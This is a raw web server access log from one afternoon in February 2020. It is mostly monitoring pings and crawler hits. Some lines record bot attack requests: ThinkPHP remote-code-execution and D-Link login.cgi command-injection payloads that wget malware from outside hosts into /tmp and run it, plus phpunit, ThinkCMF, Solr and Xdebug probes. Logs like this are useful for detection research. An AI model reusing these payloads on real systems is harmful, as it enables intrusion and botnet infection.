212.91.246.72 - - [25/Feb/2020:15:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
129.146.101.83 - - [25/Feb/2020:15:56:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:15:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:15:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.176 - - [25/Feb/2020:15:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [25/Feb/2020:16:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [25/Feb/2020:16:00:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [25/Feb/2020:16:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:16:02:31 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:16:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:16:02:46 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:16:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.176.134.101 - - [25/Feb/2020:16:06:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:16:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [25/Feb/2020:16:09:04 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:16:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.176 - - [25/Feb/2020:16:12:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [25/Feb/2020:16:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.43.243.202 - - [25/Feb/2020:16:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:16:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.98.26.4 - - [25/Feb/2020:16:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:16:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.17.96.242 - - [25/Feb/2020:16:18:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
212.91.246.72 - - [25/Feb/2020:16:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.67.196.6 - - [25/Feb/2020:16:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:16:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [25/Feb/2020:16:20:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [25/Feb/2020:16:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.116.18 - - [25/Feb/2020:16:20:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:16:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.105.194.243 - - [25/Feb/2020:16:21:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:16:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.222.58.97 - - [25/Feb/2020:16:22:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:16:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.65.59.28 - - [25/Feb/2020:16:27:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:16:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.210.64.221 - - [25/Feb/2020:16:31:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
197.51.1.169 - - [25/Feb/2020:16:32:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
197.51.1.169 - - [25/Feb/2020:16:32:08 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
197.51.1.169 - - [25/Feb/2020:16:32:08 +0100] "POST /Admin55f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [25/Feb/2020:16:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [25/Feb/2020:16:32:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:16:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.81.60.82 - - [25/Feb/2020:16:37:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"
212.91.246.72 - - [25/Feb/2020:16:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [25/Feb/2020:16:38:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:16:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.85.156.113 - - [25/Feb/2020:16:44:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
94.229.238.80 - - [25/Feb/2020:16:44:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:16:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.81.60.82 - - [25/Feb/2020:16:50:10 +0100] "GET /clientaccesspolicy.xml HTTP/1.1" 404 327 "-" "Cloud mapping experiment. Contact research@pdrlabs.net"
212.91.246.72 - - [25/Feb/2020:16:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.158 - - [25/Feb/2020:16:58:38 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.158 - - [25/Feb/2020:16:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:16:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:16:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [25/Feb/2020:17:03:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [25/Feb/2020:17:03:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [25/Feb/2020:17:03:23 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
121.178.8.198 - - [25/Feb/2020:17:03:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:17:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [25/Feb/2020:17:03:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [25/Feb/2020:17:03:59 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:04:10 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:04:18 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:17:05:06 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:05:14 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.54.208.172 - - [25/Feb/2020:17:12:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.190.166.70 - - [25/Feb/2020:17:16:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:17:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:17:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.147.43.248 - - [25/Feb/2020:17:18:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:19:03 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:19:04 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
128.14.140.150 - - [25/Feb/2020:17:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:17:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:17:19:42 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:19:42 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:19:53 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:19:53 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:20:02 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:20:02 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:17:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [25/Feb/2020:17:20:52 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:20:52 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [25/Feb/2020:17:21:01 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
